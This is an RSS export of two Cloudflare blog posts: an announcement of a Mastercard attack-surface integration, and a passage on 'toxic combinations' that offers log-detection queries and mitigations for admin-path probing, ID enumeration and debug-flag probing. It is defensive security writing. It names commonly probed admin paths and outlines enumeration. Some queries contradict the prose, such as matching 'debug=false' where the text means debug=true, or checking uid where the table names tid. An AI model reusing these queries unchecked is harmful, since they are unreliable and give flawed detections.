
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Fri, 03 Apr 2026 17:15:11 GMT</lastBuildDate>
        <item>
            <title><![CDATA[Translating risk insights into actionable protection: leveling up security posture with Cloudflare and Mastercard]]></title>
            <link>https://blog.cloudflare.com/attack-surface-intelligence/</link>
            <pubDate>Tue, 10 Mar 2026 05:05:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare will be integrating Mastercard’s RiskRecon attack surface intelligence capabilities to help you eliminate Internet-facing blind spots while continuously monitoring and closing security gaps. ]]></description>
            <content:encoded><![CDATA[ <p>Every new domain, application, website, or API endpoint increases an organization's attack surface. For many teams, the speed of innovation and deployment outpaces their ability to catalog and protect these assets, often resulting in a "target-rich, resource-poor" environment where unmanaged infrastructure becomes an easy entry point for attackers.</p><p>Replacing manual, point-in-time audits with automated security posture visibility is critical to growing your Internet presence safely. That’s why we are happy to announce a planned integration that will enable the continuous discovery, monitoring and remediation of Internet-facing blind spots directly in the Cloudflare dashboard: Mastercard’s RiskRecon attack surface intelligence capabilities.</p><p>Information Security practitioners in pay-as-you-go and Enterprise accounts will be able to preview the integration in the third quarter of 2026.</p>
    <div>
      <h3>Attack surface intelligence can spot security gaps before attackers do</h3>
      <a href="#attack-surface-intelligence-can-spot-security-gaps-before-attackers-do">
        
      </a>
    </div>
    <p>Mastercard’s RiskRecon attack surface intelligence identifies and prioritizes external vulnerabilities by mapping an organization's entire internet footprint using only publicly accessible data. As an outside-in scanner, the solution can be deployed instantly to uncover "shadow IT," forgotten subdomains, and unauthorized cloud servers that internal, credentialed scans often miss. By seeing what an attacker sees in real time, security teams can proactively close security gaps before they can be exploited.</p><p>But what security gaps are attackers typically looking to exploit? In a <a href="https://www.riskrecon.com/report-six-lessons-from-10-years-of-ransomware-attacks"><u>2025 study</u></a> of 15,896 organizations that had experienced security breaches, Mastercard found that unpatched software, exposed services (e.g. databases, remote administration), weak application security (e.g. missing authentication) and outdated web encryption were frequent hallmarks, as seen in the graph below.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/70o4e4XoPHJN1x5OpeNP9x/f6a9f3854368a7f83eccad14412a89a6/image2.png" />
          </figure><p>The same study also found that organizations with significant cybersecurity posture gaps in these areas were 5.3x more likely to be hit by a ransomware attack, and 3.6x more likely to suffer a data breach compared to companies that maintain good cybersecurity hygiene.</p>
    <div>
      <h3>Why Cloudflare and Mastercard are partnering</h3>
      <a href="#why-cloudflare-and-mastercard-are-partnering">
        
      </a>
    </div>
    <p>This partnership combines Mastercard’s attack surface intelligence—which identifies security gaps—with Cloudflare’s ability to fix them. Organizations can use Mastercard’s data to find shadow assets, such as forgotten domains or unprotected cloud instances, and secure them by routing traffic through Cloudflare’s proxy. This allows for the immediate deployment of security controls without changing the underlying website or application.</p><p>Based on a sample of approximately 388,000 organizations spanning over 18 million systems, Mastercard’s attack surface intelligence shows that systems using Cloudflare as a proxy have significantly better security hygiene than those that do not:</p><ul><li><p><b>Software Patching:</b> 53% fewer software vulnerabilities</p></li><li><p><b>Web Encryption:</b> 58% fewer SSL/TLS issues</p></li><li><p><b>System Reputation:</b> 98% fewer instances of malicious behavior (e.g. communicating with botnet command and control servers, hosting phishing sites).</p></li></ul>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/69JeczWmG5UioBEK2odUv/08cda631baac7a38422b31a82f36c0a2/image5.png" />
          </figure><p>The table below provides additional details on the security posture insights provided by Mastercard. These insights are generated by passively scanning publicly accessible hosts, web applications, and configurations. </p>
<table><thead>
  <tr>
    <th><span>Category</span></th>
    <th><span>Security Check</span></th>
    <th><span>Description</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>Software Patching</span></td>
    <td><span>Application Servers</span></td>
    <td><span>Unpatched application server software.</span></td>
  </tr>
  <tr>
    <td><span>OpenSSL</span></td>
    <td><span>Unpatched OpenSSL.</span></td>
  </tr>
  <tr>
    <td><span>CMS Patching</span></td>
    <td><span>Unpatched content management system software.</span></td>
  </tr>
  <tr>
    <td><span>Web Servers</span></td>
    <td><span>Unpatched webserver software.</span></td>
  </tr>
  <tr>
    <td><span>Application Security</span></td>
    <td><span>CMS Authentication</span></td>
    <td><span>Enumeration of content management system administration interfaces publicly exposed to the internet.</span></td>
  </tr>
  <tr>
    <td><span>High Value System Encryption</span></td>
    <td><span>Enumeration of systems that collect sensitive data that do not have encryption implemented.</span></td>
  </tr>
  <tr>
    <td><span>Malicious Code</span></td>
    <td><span>Enumeration of systems containing malicious code (Magecart).</span></td>
  </tr>
  <tr>
    <td><span>Web Encryption</span></td>
    <td><span>Certificate Expiration Date</span></td>
    <td><span>SSL certificate expired.</span></td>
  </tr>
  <tr>
    <td><span>Certificate Valid Date</span></td>
    <td><span>SSL certificate valid date not yet valid.</span></td>
  </tr>
  <tr>
    <td><span>Encryption Hash Algorithm</span></td>
    <td><span>Weak SSL encryption hash algorithm.</span></td>
  </tr>
  <tr>
    <td><span>Encryption Key Length</span></td>
    <td><span>Weak SSL encryption key length.</span></td>
  </tr>
  <tr>
    <td><span>Certificate Subject</span></td>
    <td><span>Invalid SSL certificate subject.</span></td>
  </tr>
  <tr>
    <td><span>Exposed Services / Network Filtering</span></td>
    <td><span>Unsafe Network Services</span></td>
    <td><span>Enumeration of unsafe network services running on the system such as databases (e.g. SQL Server, PostgreSQL) and remote access services (e.g. RDP, VNC).</span></td>
  </tr>
  <tr>
    <td><span>IoT Devices</span></td>
    <td><span>Enumeration of IoT devices such as printers, embedded system interfaces, etc.</span></td>
  </tr>
</tbody></table>
    <div>
      <h3>Comprehensive domain discovery, continuous posture visibility, and remediation</h3>
      <a href="#comprehensive-domain-discovery-continuous-posture-visibility-and-remediation">
        
      </a>
    </div>
    <p><a href="https://developers.cloudflare.com/security-center/security-insights/"><u>Cloudflare Security Insights</u></a> in <a href="https://www.cloudflare.com/application-services/products/"><u>Cloudflare’s Application Security</u></a> suite currently identifies risks—such as DNS misconfigurations, weak web encryption, or inactive WAF rules—for any domain already proxied by Cloudflare. However, a significant security gap remains: you cannot protect domains you don’t know exist.</p><p>The integration with Mastercard will eliminate these blind spots. By continuously profiling the Internet footprint of over 12 million organizations, Mastercard identifies domains, hosts, and software stacks associated with your company, even if they aren't yet behind a Cloudflare proxy. This will allow Security Insights to surface shadow IT and unprotected hosts, enabling you to secure them with Cloudflare’s WAF and DDoS protection. </p><p>Visibility is only the first step; understanding the criticality of discovered assets is what allows security teams to prioritize findings. Each host is assigned a criticality level:</p><ul><li><p><b>High Criticality:</b> Assigned to hosts that collect sensitive data, require authentication, or run sensitive network services like database listeners or remote access.</p></li><li><p><b>Medium Criticality:</b> Assigned to hosts running brochure websites that are adjacent to high-criticality systems, such as those residing on the same class-C network.</p></li><li><p><b>Low Criticality:</b> Assigned to hosts running brochure websites that are not adjacent to any critical systems.</p></li></ul><p>Below is a fictitious example of an organization with many domains that they are unaware of. Of these discovered domains, only one is currently proxied by Cloudflare. Within Security Insights, you will be able to visualize this level of detail for shadow domains and hosts. </p>
<table><colgroup>
<col></col>
<col></col>
<col></col>
<col></col>
<col></col>
<col></col>
</colgroup>
<thead>
  <tr>
    <th><span>Domain</span></th>
    <th><span>Protected by Cloudflare</span></th>
    <th><span>Host (IP)</span></th>
    <th><span>Criticality</span></th>
    <th><span>Location</span></th>
    <th><span>Hosting Provider</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>search-engine.net</span></td>
    <td><span>Yes</span></td>
    <td><a href="http://portal.search-engine.net/"><span>portal.search-engine.net</span></a><span> (10.XXX.XX.5)</span></td>
    <td><span>HIGH</span></td>
    <td><span>Springfield, United States</span></td>
    <td><span>Cloudflare</span></td>
  </tr>
  <tr>
    <td><span>zenith-industries.com</span></td>
    <td><span>No</span></td>
    <td><a href="http://vpn.zenith-industries.com/"><span>vpn.zenith-industries.com</span></a><span> (10.XXX.XXX.106)</span></td>
    <td><span>HIGH</span></td>
    <td><span>Helsinki, Finland</span></td>
    <td><span>CloudNode-Services</span></td>
  </tr>
  <tr>
    <td><span>stratus-global.com</span></td>
    <td><span>No</span></td>
    <td><a href="http://store.stratus-global.com/"><span>store.stratus-global.com</span></a><span> (10.XXX.XXX.124)</span></td>
    <td><span>HIGH</span></td>
    <td><span>Munich, Germany</span></td>
    <td><span>SwiftStream-Tech</span></td>
  </tr>
  <tr>
    <td><span>core-logic.cl</span></td>
    <td><span>No</span></td>
    <td><a href="http://extranet.core-logic.cl/"><span>extranet.core-logic.cl</span></a><span> (10.XXX.XXX.178)</span></td>
    <td><span>HIGH</span></td>
    <td><span>Santiago, Chile</span></td>
    <td><span>SecureCanopy Ltd.</span></td>
  </tr>
  <tr>
    <td><span>vanguard-labs.com</span></td>
    <td><span>No</span></td>
    <td><a href="http://extranet.vanguard-labs.com/"><span>extranet.vanguard-labs.com</span></a><span> (10.XXX.XX.197)</span></td>
    <td><span>HIGH</span></td>
    <td><span>Metropolis, United States</span></td>
    <td><span>GlobalSoft Systems</span></td>
  </tr>
  <tr>
    <td><span>fusion-id.com</span></td>
    <td><span>No</span></td>
    <td><a href="http://fusion-id.com/"><span>fusion-id.com</span></a><span> (10.XXX.XXX.146)</span></td>
    <td><span>HIGH</span></td>
    <td><span>Prague, Czechia</span></td>
    <td><span>EuroData-Hub</span></td>
  </tr>
  <tr>
    <td><span>norden-biotech.no</span></td>
    <td><span>No</span></td>
    <td><a href="http://store.norden-biotech.no/"><span>store.norden-biotech.no</span></a><span> (10.XXX.XX.124)</span></td>
    <td><span>MEDIUM</span></td>
    <td><span>Chicago, United States</span></td>
    <td><span>SwiftStream-Tech</span></td>
  </tr>
  <tr>
    <td><span>norden-biotech.se</span></td>
    <td><span>No</span></td>
    <td><a href="http://store.norden-biotech.se/"><span>store.norden-biotech.se</span></a><span> (10.XXX.XX.124)</span></td>
    <td><span>MEDIUM</span></td>
    <td><span>Chicago, United States</span></td>
    <td><span>SwiftStream-Tech</span></td>
  </tr>
</tbody></table><p><sup><i>Example of shadow domains and unprotected hosts associated with an organization</i></sup></p><p>Mastercard will also allow continuous visibility into the security posture of Internet-facing systems including in areas like software patching, exposed network services (e.g., databases, remote access) and application security (e.g., unauthenticated CMSes) — complementing <a href="https://developers.cloudflare.com/security-center/security-insights/"><u>Cloudflare Security Insights</u></a>, as shown below.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/T3ff3WNmedjbAO76X0fQr/d04a60dc4e1d7093832eec12f653e92e/image1.png" />
          </figure><p><sup><i>Security Insights dashboard with shadow domains, unproxied hosts, and posture findings</i></sup></p><p>These<b> </b>insights are only useful if they lead to action. Instead of just telling you that a domain or host is at risk, <a href="https://developers.cloudflare.com/security-center/security-insights/"><u>Cloudflare Security Insights</u></a> will guide you to fixing them. Possible steps include enabling a Cloudflare proxy (and by extension DDoS and bot protection for shadow zones and hosts), enabling security controls (such as turning on the Web Application Firewall, or WAF) and enforcing stricter TLS encryption to mitigate the specific risks identified by the scan.</p>
    <div>
      <h3>What’s next: updated security insights dashboard</h3>
      <a href="#whats-next-updated-security-insights-dashboard">
        
      </a>
    </div>
    <p>We are currently working on integrating Mastercard’s RiskRecon attack surface intelligence into the <a href="https://developers.cloudflare.com/security-center/security-insights/"><u>Cloudflare Security Insights</u></a> dashboard to provide immediate visibility into shadow domains, unprotected hosts and the posture gaps associated with them.</p><p>With an increasing volume of insights, our roadmap also includes risk scoring and building AI-assisted diagnosis paths. That will mean a dashboard that doesn't just show you an insight, but proposes additional relevant correlations (such as traffic to an unpatched host) and suggests the specific WAF rule or <a href="https://blog.cloudflare.com/api-abuse-detection/"><u>API Shield</u></a> configuration required to neutralize it.</p><p>We would love to have you <a href="https://www.cloudflare.com/lp/mastercard-defense-program/"><u>join the waitlist here</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[Security Posture Management]]></category>
            <category><![CDATA[Security Posture]]></category>
            <category><![CDATA[Application Security]]></category>
            <category><![CDATA[Risk Management]]></category>
            <guid isPermaLink="false">50TFdPHZwAQHUcskN0xNgX</guid>
            <dc:creator>Bashyam Anant</dc:creator>
            <dc:creator>Kelly White (Guest author)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Toxic combinations: when small signals add up to a security incident]]></title>
            <link>https://blog.cloudflare.com/toxic-combinations-security/</link>
            <pubDate>Fri, 27 Feb 2026 07:00:00 GMT</pubDate>
            <description><![CDATA[ Minor misconfigurations or request anomalies often seem harmless in isolation. But when these small signals converge, they can trigger a security incident known as a toxic combination. Here’s how to spot the signs.  ]]></description>
            <content:encoded><![CDATA[ <p>At 3 AM, a single IP requested a login page. Harmless. But then, across several hosts and paths, the same source began appending <code>?debug=true</code> — the sign of an attacker probing the environment to assess the technology stack and plan a breach.</p><p>Minor misconfigurations, overlooked firewall events, or request anomalies feel harmless on their own. But when these small signals converge, they can explode into security incidents known as “toxic combinations.” These are exploits where an attacker discovers and compounds many minor issues — such as a debug flag left on a web application or an unauthenticated application path — to breach systems or exfiltrate data.</p><p>Cloudflare’s network observes requests to your stack, and as a result, has the data to identify these toxic combinations as they form. In this post, we’ll show you how we surface these signals from our application security data. We’ll go over the most common types of toxic combinations and the dangerous vulnerabilities they present. We will also provide details on how you can use this intelligence to identify and address weaknesses in your stack. </p>
    <div>
      <h2>How we define toxic combinations</h2>
      <a href="#how-we-define-toxic-combinations">
        
      </a>
    </div>
    <p>You could define a "toxic combination" in a few different ways, but here is a practical one based on how we look at our own datasets. Most web attacks eventually scale through automation; once an attacker finds a viable exploit, they'll usually script it into a bot to finish the job. <b>By looking at the intersection of bot traffic, specific application paths, request anomalies and misconfigurations, we can spot a potential breach.</b> We use this framework to reason through millions of requests per second. </p><p>While point defenses like Web Application Firewalls (WAF), bot detection, and API protection have evolved to incorporate behavioral patterns and reputation signals, they still primarily focus on evaluating the risk of an individual request. In contrast, Cloudflare’s detections for "toxic combinations" shift the lens toward the broader intent, analyzing the confluence of context surrounding multiple signals to identify a brewing incident.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1OpmbSTqET3QnkdoHXJeim/882c3385ad8e172bfbec3dafffe7477e/image2.png" />
          </figure><p><sup><i>Toxic combinations as contextualized detections</i></sup></p><p>That shift in perspective matters because many real incidents have no obvious exploit payload, no clean signatures, and no single event that screams “attack.” So, in what follows, we combine the following context to construct several toxic combinations:</p><ul><li><p><b>Bot signals</b></p></li><li><p><b>Application paths</b>, especially sensitivity ones: admin, debug, metrics, search, payment flows</p></li><li><p><b>Anomalies</b> including: unexpected http codes, geo jumps, identity mismatch, high ID churn, rate-limit evasion (distributed IPs doing the same thing), request or success rate spikes </p></li><li><p><b>Vulnerabilities or misconfigurations</b>: missing session cookies or auth headers, predictable identifiers</p></li></ul>
    <div>
      <h2>Examples of toxic combinations on popular application stacks</h2>
      <a href="#examples-of-toxic-combinations-on-popular-application-stacks">
        
      </a>
    </div>
    <p>We looked at a 24-hour window of Cloudflare data to see how often these patterns actually appear in popular application stacks. As shown in the table below, about 11% of the hosts we analyzed were susceptible to these combinations, skewed by vulnerable WordPress websites. Excluding WordPress sites, only 0.25% of hosts show signs of exploitable toxic combinations. While rare, they represent hosts that are vulnerable to compromise.</p><p>To make sense of the data, we broke it down into three stages of an attack:</p><ul><li><p><b>Estimated hosts probed:</b> This is the "wide net." It counts unique hosts where we saw HTTP requests targeting specific sensitive paths (like <code>/wp-admin</code>).</p></li><li><p><b>Estimated hosts filtered by toxic combination:</b> Here, we narrowed the list down to the specific hosts that actually met our criteria for a toxic combination.</p></li><li><p><b>Estimated reachable hosts:</b> Unique hosts that responded successfully to an exploit attempt—the "smoking gun" of an attack. A simple <code>200 OK</code> response (such as one triggered by appending <code>?debug=true</code>) could be a false positive. We validated paths to filter out noise caused by authenticated paths that require credentials despite the 200 status code, redirects that mask the true exploit path, and origin misconfigurations that serve success codes for unreachable paths.</p></li></ul><p>In the next sections, we’ll dig into the specific findings and the logic behind the combinations that drove them. The detection queries provided are necessary but not sufficient without testing for reachability; it is possible that the findings might be false positives. In some cases, <a href="https://www.cloudflare.com/application-services/products/log-explorer/"><u>Cloudflare Log Explorer</u></a> allows these queries to be executed on unsampled Cloudflare logs. </p><p><code>Table 1. Summary of Toxic Combinations</code></p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4SKPqWjxWQQ0FTBnuVxWjh/a72acfa372fc7838b69b30ab63147bd5/image3.png" />
          </figure>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6pOvYlwo3LqNp02WayM1xh/b4d8b9405cdda1475f013a2c000f17d4/image6.png" />
          </figure>
    <div>
      <h2>Probing of sensitive administrative endpoints across multiple application hosts</h2>
      <a href="#probing-of-sensitive-administrative-endpoints-across-multiple-application-hosts">
        
      </a>
    </div>
    
    <div>
      <h3><b>What did we detect? </b></h3>
      <a href="#what-did-we-detect">
        
      </a>
    </div>
    <p>We observed automated tools scanning common administrative login pages — like WordPress admin panels (/wp-admin), database managers, and server dashboards. A templatized version of the query, executable in <a href="https://www.cloudflare.com/application-services/products/log-explorer/"><u>Cloudflare Log Explorer</u></a>, is below:</p>
            <pre><code>SELECT
  clientRequestHTTPHost,
  COUNT(*) AS request_count
FROM
  http_requests 
WHERE
  timestamp &gt;= '{{START_DATE}}'
  AND timestamp &lt;= '{{END_DATE}}'
  AND edgeResponseStatus = 200
  AND clientRequestPath LIKE '{{PATH_PATTERN}}' //e.g. '%/wp-admin/%'
  AND NOT match( extract(clientRequestHTTPHost, '^[^:/]+'), '^\\d{1,3}(\\.\\d{1,3}){3}(:\\d+)?$') // comment this line for Cloudflare Log Explorer
  AND botScore &lt; {{BOT_THRESHOLD}} // we used botScore &lt; 30
GROUP BY
  clientRequestHTTPHost
ORDER BY
  request_count DESC;</code></pre>
            
    <div>
      <h3><b>Why is this serious?</b></h3>
      <a href="#why-is-this-serious">
        
      </a>
    </div>
    <p>Publicly accessible admin panels can enable <a href="https://www.cloudflare.com/learning/bots/brute-force-attack/"><u>brute force attacks</u></a>. If successful, an attacker can further compromise the host by adding it to a botnet that probes additional websites for similar vulnerability. In addition, this toxic combination can lead to:</p><ul><li><p><b>Exploit scanning:</b> Attackers identify the specific software version you're running (like Tomcat or WordPress) and launch targeted exploits for known vulnerabilities (CVEs).</p></li><li><p><b>User enumeration:</b> Many admin panels accidentally reveal valid usernames, which helps attackers craft more convincing phishing or login attacks.</p></li></ul>
    <div>
      <h3><b>What evidence supports it?</b></h3>
      <a href="#what-evidence-supports-it">
        
      </a>
    </div>
    <p>Toxic combination of bots automation and exposed management interfaces like<b>: /wp-admin/</b>,<b> /admin/</b>,<b> /administrator/</b>, <b>/actuator/*</b>,<b> /_search/</b>,<b> /phpmyadmin/</b>,<b> /manager/html/</b>, and<b> /app/kibana/</b>.</p><table><tr><td><p><b>Ingredient</b></p></td><td><p><b>Signal</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p><b>Bot activity</b></p></td><td><p><b>Bot Score &lt; 30</b></p></td><td><p>Bot signatures typical of vulnerability scanners</p></td></tr><tr><td><p><b>Anomaly</b></p></td><td><p><b>Repeated Probing</b></p></td><td><p>Unusual hits on admin endpoints</p></td></tr><tr><td><p><b>Vulnerability</b></p></td><td><p><b>Publicly accessible endpoint</b></p></td><td><p>Successful requests to admin endpoints</p></td></tr></table>
    <div>
      <h3><b>How do I mitigate this finding?</b></h3>
      <a href="#how-do-i-mitigate-this-finding">
        
      </a>
    </div>
    <ol><li><p><b>Implement </b><a href="https://www.cloudflare.com/sase/products/access/"><b><u>Zero Trust Access</u></b></a>.<b> </b></p></li><li><p>If for any reason the endpoint has to remain public, implement<b> </b><a href="https://www.cloudflare.com/application-services/products/turnstile/"><b><u>a challenge platform to add friction to bots</u></b></a>.</p></li><li><p><b>Implement IP allowlist:</b> Use your <a href="https://blog.cloudflare.com/wildcard-rules/"><u>WAF</u></a> or server configuration to ensure that administrative paths are only reachable from your corporate VPN or specific office IP addresses.</p></li><li><p><b>Cloak admin paths:</b> If your platform allows it, rename default admin URLs (e.g., change <code>/wp-admin</code> to a unique, non-guessable string).</p></li><li><p><b>Deploy geo-blocking:</b> If your administrators only operate from specific countries, block all traffic to these sensitive paths coming from outside those regions.</p></li><li><p><b>Enforce multi-factor authentication (MFA):</b> Ensure every administrative entry point requires a second factor; a password alone is not enough to stop a dedicated crawler.</p></li></ol>
    <div>
      <h2>Unauthenticated public API endpoints allowing mass data exposure via predictable identifiers</h2>
      <a href="#unauthenticated-public-api-endpoints-allowing-mass-data-exposure-via-predictable-identifiers">
        
      </a>
    </div>
    
    <div>
      <h3><b>What did we detect? </b></h3>
      <a href="#what-did-we-detect">
        
      </a>
    </div>
    <p>We found API endpoints that are accessible to anyone on the Internet without a password or login (see <a href="https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/"><u>OWASP: API2:2023 – Broken Authentication</u></a>). Even worse, the way it identifies records (using simple, predictable ID numbers,see <a href="https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/"><u>OWASP: API1:2023- Broken Object Level Authorization</u></a>) allows anyone to simply "count" through your database — making it much simpler for attackers to enumerate and “scrape” your business records, without even visiting your website directly.</p>
            <pre><code>SELECT
  uniqExact(clientRequestHTTPHost) AS unique_host_count
FROM  http_requests
WHERE timestamp &gt;= '2026-02-13'
  AND timestamp &lt;= '2026-02-14'
  AND edgeResponseStatus = 200
  AND bmScore &lt; 30
  AND (
       match(extract(clientRequestQuery, '(?i)(?:^|[&amp;?])uid=([^&amp;]+)'),  '^[0-9]{3,10}$')
    OR match(extract(clientRequestQuery, '(?i)(?:^|[&amp;?])user=([^&amp;]+)'), '^[0-9]{3,10}$')
    OR length(extract(clientRequestQuery, '(?i)(?:^|[&amp;?])uid=([^&amp;]+)'))  BETWEEN 3 AND 8
    OR length(extract(clientRequestQuery, '(?i)(?:^|[&amp;?])user=([^&amp;]+)')) BETWEEN 3 AND 8
  )</code></pre>
            
    <div>
      <h3><b>Why is this serious?</b></h3>
      <a href="#why-is-this-serious">
        
      </a>
    </div>
    <p>This is a "zero-exploit" vulnerability, meaning an attacker doesn't need to be a hacker to steal your data; they just need to change a number in a web link. This leads to:</p><ul><li><p><b>Mass Data Exposure:</b> Large-scale scraping of your entire customer dataset.</p></li><li><p><b>Secondary Attacks:</b> Stolen data is used for targeted phishing or account takeovers.</p></li><li><p><b>Regulatory Risk:</b> Severe privacy violations (GDPR/CCPA) due to exposing sensitive PII.</p></li><li><p><b>Fraud:</b> Competitors or malicious actors gaining insight into your business volume and customer base.</p></li></ul>
    <div>
      <h3><b>What evidence supports it?</b></h3>
      <a href="#what-evidence-supports-it">
        
      </a>
    </div>
    <p>Toxic combination of missing security controls and automation targeting particular API endpoints.</p><table><tr><td><p><b>Ingredient</b></p></td><td><p><b>Signal</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p>Bot activity</p></td><td><p>Bot Score &lt; 30</p></td><td><p>High volume of requests from a single client fingerprint iterating through different IDs.</p></td></tr><tr><td><p>Anomaly</p></td><td><p>High Cardinality of tid</p></td><td><p>A single visitor accessing hundreds or thousands of unique resource IDs in a short window.</p></td></tr><tr><td><p>Anomaly</p></td><td><p>Stable Response Size</p></td><td><p>Consistent JSON structures and file sizes, indicating successful data retrieval for each guessed ID.</p></td></tr><tr><td><p>Vulnerability</p></td><td><p>Missing Auth Signals</p></td><td><p>Requests lack session cookies, Bearer tokens, or Authorization headers entirely.</p></td></tr><tr><td><p>Misconfiguration</p></td><td><p>Predictable Identifiers</p></td><td><p>The <code>tid</code> parameter uses low-entropy, predictable integers (e.g., 1001, 1002, 1003).</p></td></tr></table><p>While the query checked for bot score and predictable identifiers, signals like high cardinality, stable response sizes and missing authentication were tested on a sample of traffic matching the query. </p>
    <div>
      <h3><b>How do I mitigate this finding?</b></h3>
      <a href="#how-do-i-mitigate-this-finding">
        
      </a>
    </div>
    <ol><li><p><b>Enforce authentication:</b> Immediately require a valid session or API key for the affected endpoint. Do not allow "Anonymous" access to data containing PII or business secrets.</p></li><li><p><b>Implement authorization (IDOR check):</b> Ensure the backend checks that the authenticated user actually has permission to view the specific <code>tid</code> they are requesting.</p></li><li><p><b>Use UUIDs:</b> Replace predictable, sequential integer IDs with long, random strings (UUIDs) to make "guessing" identifiers computationally impossible.</p></li><li><p><b>Deploy API Shield:</b> Enable Cloudflare <a href="https://blog.cloudflare.com/api-abuse-detection/"><u>API Shield</u></a> with features like <b>Schema Validation</b> (to block unexpected inputs) and <b>BOLA Detection</b>.</p></li></ol>
    <div>
      <h2>Debug parameter probing revealing system details</h2>
      <a href="#debug-parameter-probing-revealing-system-details">
        
      </a>
    </div>
    
    <div>
      <h3><b>What did we detect? </b></h3>
      <a href="#what-did-we-detect">
        
      </a>
    </div>
    <p>We found evidence of <code>debug=true</code> appended to web paths to reveal system details. A templatized version of the query, executable in <a href="https://www.cloudflare.com/application-services/products/log-explorer/"><u>Cloudflare Log Explorer</u></a>, is below:</p>
            <pre><code>SELECT
  clientRequestHTTPHost,
  COUNT(rayId) AS request_count
FROM
  http_requests
WHERE
  timestamp &gt;= '{{START_TIMESTAMP}}'
  AND timestamp &lt; '{{END_TIMESTAMP}}'
  AND edgeResponseStatus = 200
  AND clientRequestQuery LIKE '%debug=false%'
  AND botScore &lt; {{BOT_THRESHOLD}}
GROUP BY
  clientRequestHTTPHost
ORDER BY
  request_count DESC;</code></pre>
            
    <div>
      <h3><b>Why is this serious?</b></h3>
      <a href="#why-is-this-serious">
        
      </a>
    </div>
    <p>While this doesn't steal data instantly, it provides an attacker with a high-definition map of your internal infrastructure. This "reconnaissance" makes their next attack much more likely to succeed because they can see:</p><ul><li><p><b>Hidden data fields:</b> Sensitive internal information that isn't supposed to be visible to users.</p></li><li><p><b>Technology stack details:</b> Specific software versions and server types, allowing them to look up known vulnerabilities for those exact versions.</p></li><li><p><b>Logic hints:</b> Error messages or stack traces that explain exactly how your code works, helping them find ways to break it.</p></li></ul>
    <div>
      <h3><b>What evidence supports it?</b></h3>
      <a href="#what-evidence-supports-it">
        
      </a>
    </div>
    <p>Toxic combination of automated probing and misconfigured diagnostic flags targeting the <b>Multiple Hosts and Application Paths.</b></p><table><tr><td><p><b>Ingredient</b></p></td><td><p><b>Signal</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p>Bot activity</p></td><td><p>Bot Score &lt; 30</p></td><td><p>Vulnerability scanner activity</p></td></tr><tr><td><p>Anomaly</p></td><td><p>Response Size Increase</p></td><td><p>Significant jumps in data volume when a debug flag is toggled, indicating details or stack traces are being leaked. Add these additional conditions, if needed:</p><p><code>SELECT</code></p><p><code>AVG(edgeResponseBytes) AS avg_payload_size, </code></p><p><code>WHERE</code></p><p><code>edgeResponseBytes &gt; {{your baseline response size}}</code></p></td></tr><tr><td><p>Anomaly</p></td><td><p>Repeated Path Probing</p></td><td><p>Rapid-fire requests across diverse endpoints (e.g., <b>/api, /login, /search</b>) specifically testing for the same diagnostic triggers. Add these conditions, if needed:

<code>SELECT</code></p><p><code>APPROX_DISTINCT(clientRequestPath) AS unique_endpoints_tested </code></p><p><code>HAVING </code></p><p><code>unique_endpoints_tested &gt; 1</code></p></td></tr><tr><td><p>Misconfiguration</p></td><td><p>Debug Parameter Allowed</p></td><td><p>The presence of active "debug," "test," or "dev" flags in production URLs that change application behavior.</p></td></tr><tr><td><p>Vulnerability</p></td><td><p>Schema disclosure</p></td><td><p>The appearance of internal-only JSON fields or "Firebase-style" .json dumps that reveal the underlying structure.</p></td></tr></table><p>While the query checked for bot score and paths with debug parameters, signals like repeated probing, response sizes and schema disclosure were tested on a sample of traffic matching the query. </p>
    <div>
      <h3><b>How do I mitigate this finding?</b></h3>
      <a href="#how-do-i-mitigate-this-finding">
        
      </a>
    </div>
    <ol><li><p><b>Disable debugging in production:</b> Ensure that all "debug" or "development" environment variables are strictly set to <code>false</code> in your production deployment configurations.</p></li><li><p><b>Filter parameters at the edge:</b> Use your <a href="https://blog.cloudflare.com/wildcard-rules/"><u>WAF</u></a> or API Gateway to strip out known debug parameters (like <code>?debug=</code>, <code>?test=</code>,<code> ?trace=</code>) before they ever reach your application servers.</p></li><li><p><b>Sanitize error responses:</b> Configure your web servers (Nginx, Apache, etc.) to show generic error pages instead of detailed stack traces or internal system messages.</p></li><li><p><b>Audit firebase/DB rules:</b> If you are using Firebase or similar NoSQL databases, ensure that /<code>.json</code> path access is restricted via strict security rules, so public users cannot dump the entire schema or data.</p></li></ol>
    <div>
      <h2>Publicly exposed monitoring endpoints providing internal infrastructure visibility</h2>
      <a href="#publicly-exposed-monitoring-endpoints-providing-internal-infrastructure-visibility">
        
      </a>
    </div>
    
    <div>
      <h3><b>What did we detect? </b></h3>
      <a href="#what-did-we-detect">
        
      </a>
    </div>
